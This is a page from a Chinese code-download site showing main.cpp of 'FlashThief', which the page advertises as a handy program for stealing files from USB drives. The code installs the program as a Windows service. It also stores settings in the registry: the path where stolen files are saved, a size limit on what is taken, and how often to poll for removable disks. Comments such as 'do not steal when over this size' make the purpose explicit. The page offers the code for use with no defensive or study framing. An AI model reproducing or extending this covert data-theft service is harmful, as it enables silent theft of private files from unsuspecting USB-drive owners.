⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.cpp

📁 VC++编写的偷U盘小程序 不错哦
💻 CPP
字号:
// FlashThief.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "FlashThief.h"
#include "Service.h"
#include <locale.h>

void _tmain(int argc, _TCHAR* argv[])
{
	_tsetlocale(LC_ALL, _T("chs"));

	if (argc < 2)
	{
		_Thief.Init();
		_Module.Init(SERVICE_NAME, SERVICE_DISPLAY_NAME);
		_Module.Start();
		return;
	}

	TCHAR  seps[]     = _T("-/");
	LPTSTR pToken     = NULL;
	LPTSTR pNextToken = NULL;
	HKEY   hKey       = NULL;
	DWORD  dwData     = 0;
	DWORD  dwDisp     = 0;

	for (int i = 1; i < argc; i++)
	{
		pToken = _tcstok_s(argv[i], seps, &pNextToken);
		if (pToken != NULL)
		{
			if (_tcsicmp(pToken, _T("install")) == 0)//安装服务
			{
				_Module.Init(SERVICE_NAME, SERVICE_DISPLAY_NAME);
				_Module.Install();
			}
			else if (_tcsicmp(pToken, _T("uninstall")) == 0)//卸载服务
			{
				_Module.Init(SERVICE_NAME, SERVICE_DISPLAY_NAME);
				_Module.Uninstall();
			}
			else if (_tcsicmp(pToken, _T("path")) == 0)//设置获取的文件的保存路径
			{
				if (argc - 1 > i)
				{
					i++;
					if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY, 0, NULL, 
						REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisp) == ERROR_SUCCESS)
					{
						TCHAR szPath[MAX_PATH];
						dwData = GetFullPathName(argv[i], MAX_PATH, szPath, NULL);
						if (RegSetValueEx(hKey, CFG_REG_STORE, 0, REG_SZ, (LPBYTE)szPath, 
							dwData * sizeof(TCHAR)) != ERROR_SUCCESS)
							_tprintf(_T("文件储存的路径设置失败!"));

						RegCloseKey(hKey);
					}
				}
			}
			else if (_tcsicmp(pToken, _T("size")) == 0)//设置获取的总文件大小极限,当总文件大小超过此值时不盗取;设置小于等于0的值则禁用此功能;单位KB
			{
				if (argc - 1 > i)
				{
					i++;
					dwData = _wtol(argv[i]);
					if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY, 0, NULL, 
						REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisp) == ERROR_SUCCESS)
					{
						if (RegSetValueEx(hKey, CFG_REG_SIZES, 0, REG_DWORD, 
							(LPBYTE)&dwData, sizeof(DWORD)) != ERROR_SUCCESS)
							_tprintf(_T("限制总文件大小设置失败!"));

						RegCloseKey(hKey);
					}
				}
			}
			else if (_tcsicmp(pToken, _T("interval")) == 0)//设置检测可移动磁盘(U盘、移动硬盘等)的时间间隔,不可以小于3000;单位毫秒
			{
				if (argc - 1 > i)
				{
					i++;
					if ((dwData = _wtol(argv[i])) < CFG_MIN_INTERVAL)
						dwData = CFG_MIN_INTERVAL;
					if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY, 0, NULL, 
						REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisp) == ERROR_SUCCESS)
					{
						if (RegSetValueEx(hKey, CFG_REG_INTERVAL, 0, REG_DWORD, 
							(LPBYTE)&dwData, sizeof(DWORD)) != ERROR_SUCCESS)
							_tprintf(_T("循环检测可移动磁盘的时间间隔设置失败!"));

						RegCloseKey(hKey);
					}
				}
			}

			//pToken = _tcstok_s(NULL, seps, &pNextToken);
		}
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -